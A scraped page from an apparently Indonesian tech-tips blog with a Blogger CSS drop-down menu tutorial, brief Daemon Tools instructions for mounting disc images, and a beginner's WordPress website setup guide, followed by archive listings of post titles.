font-size:13px;
font-weight:normal;
text-transform:none;
font-family:Arial, sans-serif;
border:none;
}
#top li ul {
z-index:100;
position: absolute;
display: none;
background-color:#F1F1F1;
margin-left:-80px;
padding:10px 0;
border-radius: 0px 0px 6px 6px;
box-shadow:0 2px 2px rgba(0,0,0,0.6);
filter:alpha(opacity=87);
opacity:.87;
}
#top li ul li {
width:150px;
float:left;
margin:0;
padding:0;
}
#top li:hover ul, #top li.hvr ul {
display: block;
}
#top li:hover ul a, #top li.hvr ul a {
color:#333;
background-color:transparent;
text-decoration:none;
}
#top ul a:hover {
text-decoration:underline!important;
color:#444444 !important;
}

Now find (CTRL + F) this line:

/* Tabs

It will also have some little lines beneath:

/* Tabs
----------------------------------------------- */

And just below these little lines, delete the code below until you reach at:

/* Columns
----------------------------------------------- */

Instead of the code that you have removed, add this one:

#crosscol ul {z-index: 200; padding:0 !important;}
#crosscol li:hover {position:relative;}
#crosscol ul li {padding:0 !important;}
.tabs-outer {z-index:1;}
.tabs-inner {padding: 0 0px;}

See this screenshot for more info:

menu for blogger, blogger gadgets, blogger widgets

STEP 4: The final step is to Save the Template and you are done!

Visit your blog to see a beautiful navigation menu just below header.
If you have any questions or need help, leave a comment below.

Senin, 12 Agustus 2013

How to work with Daemon Tools

1. Install the software into your Hard Drive. After installing reboot (or not) your PC.
2. After 1. , open Daemon-Tools. It will appear in your startup bar.
3. Right click on it, go to Virtual CD/DVD-ROM » Set number of devices » 2 Drives. If you want to use more drives you can set it on. I personally use 2. Its your decision.
4. Right click on it, go to Virtual CD/DVD-ROM » Device x: [X:](....). Here you will mount your image. Just choose the image to open it (x means Device 1 or 2, etc.)([X:] the letter of your device).
5. Done, now your image is working like a CD.

Minggu, 11 Agustus 2013

How to create website with wordpress in 30 minutes

Image via Wikipedia

Today, It is main aim of a business or an individual to get bigger exposure through internet. Internet is the most reliable & cheap way to get more in sales. E-commerce enabled websites are the best solutions for the business to expand globally and interact with the client online. A website is also beneficial for an individuals.

Anyone who owns a website could share their thoughts on the blog, Family photos collage, Holiday activities, Teaching the students at home online, Training courses and lot more things via a website to the whole world. Ill guide you step-by-step how to create / build website in 30 minutes.

Youll need some preparations in order to create website.

First of all you need the domain name (URL) Like www.example.com
Web site hosting plan (free or paid its up to you).
Installing the script/software on the server.
Adding contents to the website.
SEO (Search engine optimization).

Domain Name Definition: -

From Wikipedia, the free encyclopedia

A domain name is an identification label that defines a realm of administrative autonomy, authority, or control in the Internet. Domain names are host names that identify Internet Protocol (IP) resources such as web sites. Domain names are formed by the rules and procedures of the Domain Name System (DNS).

Domain names are often referred to simply as domains and domain name registrants are frequently referred to as domain owners, although domain name registration with a registrar does not confer any legal ownership of the domain name, only an exclusive right of use.

Source: Wikipedia, the free encyclopedia

Domain Name: Start the website creation procedure by registering the domain name by visiting "Domain Registrar".
Web Hosting: Find the suitable web hosting plan (click to Signup for the better one) paid or free after registering domain name. Most of the paid hosting offered to host unlimited domains on one hosting account. It is better to go for a paid web hosting. In the control panel (often called cPanel) of the web hosting add the domain you have just purchased. Then find the name servers at the web hosting, which you need to point to domain. Add them at the domain registrants.
Setting up Domain: Login to your domain and try to find setup domain, open domain setup and enter domain name servers found at web hosting.
Installing Wordpress: Go to and login at the web hosting account, find auto-installer fantistico or softaculous to install the wordpress script. If you didnt find auto-installers then try to manually install it (visit to see the manual install). Wordpress is the best script to establish, Maintain, Works well and having good user interface to add so many functionality by installing themes & plug-ins to the website.
Wordpress Administration: Logon by typing your website address like "www.example.com/wp-admin" in the address bar of your internet browser. Use the credentials you have just provided in the installation procedure of Wordpress. Hooray! your website is online enjoy the online presence. Customize the Wordpress for the better look & feel of your newly created website.
Look & Feel: Change layout by installing themes in the administration panel tab on the left of the Wordpress Dashboard.
Adding Contents: Add pages, install plug-ins and many more things to do at administration page.
SEO (Search Engine Optimization): It needs focus, time, patience and a lot of knowledge about how to submit your website to the "Search Engines", directories or writing articles about your website on the article directories. Click to see the whole procedure for SEO.

Blog Information

Ads 468x60px

Pages

Kamis, 23 Januari 2014

Using window with keyboard

Selasa, 21 Januari 2014

How to crack a WEP encrypted wifi network with Baktrack 5

Rabu, 02 Oktober 2013

Fading Box With Newer Older Posts Links and Titles for Blogger

How to Add Navigation Box with Newer & Older Posts on Blogger

Customization:

Show Recent Posts With Thumbnails For Particular Label or Category in Blogger

Senin, 30 September 2013

How to Remove Showing Posts With Label in Blogger

Tutorial portable with NSIS

Minggu, 29 September 2013

How To Add Related Posts Widget To Blogger with Thumbnails

Jumat, 20 September 2013

Display post author date labels and comments with icons below post titles

Kamis, 19 September 2013

Add Recent Comments Widget with Avatars To Blogger

Selasa, 17 September 2013

Replace Older Newer And Home Blogger links with an image or text

A. Change the text of Newer Posts, Older Posts and Home Links

B. Place a picture beside Newer Posts, Older Posts and Home links

C. Replace Older Posts, Newer Posts and Home links with an image/picture

Minggu, 15 September 2013

Auto Read More with thumbnail for Blogger Blogspot Posts

Selasa, 10 September 2013

How to Replace Older Posts and Newer Posts Links with Blogger Post Titles

Minggu, 08 September 2013

Horizontal menu with sub tabs in two columns for Blogger

Adding A Horizontal Menu With Sub Tabs in Two Columns To Blogger

Senin, 12 Agustus 2013

How to work with Daemon Tools

Minggu, 11 Agustus 2013

How to create website with wordpress in 30 minutes

Postingan Populer

Arsip Blog

Ads 468x60px

Pages

Kamis, 23 Januari 2014

Selasa, 21 Januari 2014

Rabu, 02 Oktober 2013

How to Add Navigation Box with Newer & Older Posts on Blogger

Customization:

Senin, 30 September 2013

Minggu, 29 September 2013

Jumat, 20 September 2013

Kamis, 19 September 2013

Selasa, 17 September 2013

A. Change the text of Newer Posts, Older Posts and Home Links

B. Place a picture beside Newer Posts, Older Posts and Home links

C. Replace Older Posts, Newer Posts and Home links with an image/picture

Minggu, 15 September 2013

Selasa, 10 September 2013

Minggu, 08 September 2013

Adding A Horizontal Menu With Sub Tabs in Two Columns To Blogger

Senin, 12 Agustus 2013

Minggu, 11 Agustus 2013

Related articles

Postingan Populer

Arsip Blog